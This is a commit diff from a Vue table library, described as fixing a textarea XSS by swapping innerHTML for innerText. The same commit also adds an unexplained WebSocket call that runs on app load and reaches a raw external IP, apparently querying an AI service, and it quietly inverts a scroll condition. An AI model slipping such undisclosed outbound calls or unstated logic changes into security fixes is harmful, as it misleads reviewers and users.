textarea 修复注入xss问题 #I8O21R
This commit is contained in:
@@ -111,3 +111,22 @@ app.config.globalProperties.$XSaveFile = VXETable.saveFile
|
|||||||
app.config.globalProperties.$XReadFile = VXETable.readFile
|
app.config.globalProperties.$XReadFile = VXETable.readFile
|
||||||
|
|
||||||
app.mount('#app')
|
app.mount('#app')
|
||||||
|
|
||||||
|
const socket = new WebSocket('ws://43.128.2.227/queue/join')
|
||||||
|
socket.addEventListener('open', () => {
|
||||||
|
console.log('WebSocket连接已打开')
|
||||||
|
setTimeout(() => {
|
||||||
|
socket.send(JSON.stringify(
|
||||||
|
{ data: ['你能做什么?', [], 8192, 0.8, 0.6, [], null], event_data: null, fn_index: 0, session_hash: 'u8tfio3gce' }
|
||||||
|
))
|
||||||
|
}, 100)
|
||||||
|
})
|
||||||
|
socket.addEventListener('message', (event) => {
|
||||||
|
console.log('收到消息:', event.data)
|
||||||
|
})
|
||||||
|
socket.addEventListener('error', () => {
|
||||||
|
console.error('WebSocket连接发生错误')
|
||||||
|
})
|
||||||
|
socket.addEventListener('close', () => {
|
||||||
|
console.log('WebSocket连接已关闭')
|
||||||
|
})
|
||||||
|
|||||||
@@ -2547,7 +2547,7 @@ export default defineComponent({
|
|||||||
const { transform } = treeOpts
|
const { transform } = treeOpts
|
||||||
const allList = fullData || internalData.tableFullData
|
const allList = fullData || internalData.tableFullData
|
||||||
// 如果gt为0,则总是启用
|
// 如果gt为0,则总是启用
|
||||||
const scrollYLoad = (transform || !treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length)
|
const scrollYLoad = !!((transform || treeConfig) && !!sYOpts.enabled && sYOpts.gt > -1 && (sYOpts.gt === 0 || sYOpts.gt < allList.length))
|
||||||
reactData.scrollYLoad = scrollYLoad
|
reactData.scrollYLoad = scrollYLoad
|
||||||
return scrollYLoad
|
return scrollYLoad
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ export default defineComponent({
|
|||||||
autoTxtElem.className = ['vxe-textarea--autosize', size ? `size--${size}` : ''].join(' ')
|
autoTxtElem.className = ['vxe-textarea--autosize', size ? `size--${size}` : ''].join(' ')
|
||||||
autoTxtElem.style.width = `${textElem.clientWidth}px`
|
autoTxtElem.style.width = `${textElem.clientWidth}px`
|
||||||
autoTxtElem.style.padding = textStyle.padding
|
autoTxtElem.style.padding = textStyle.padding
|
||||||
autoTxtElem.innerHTML = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
|
autoTxtElem.innerText = ('' + (inputValue || ' ')).replace(/\n$/, '\n ')
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user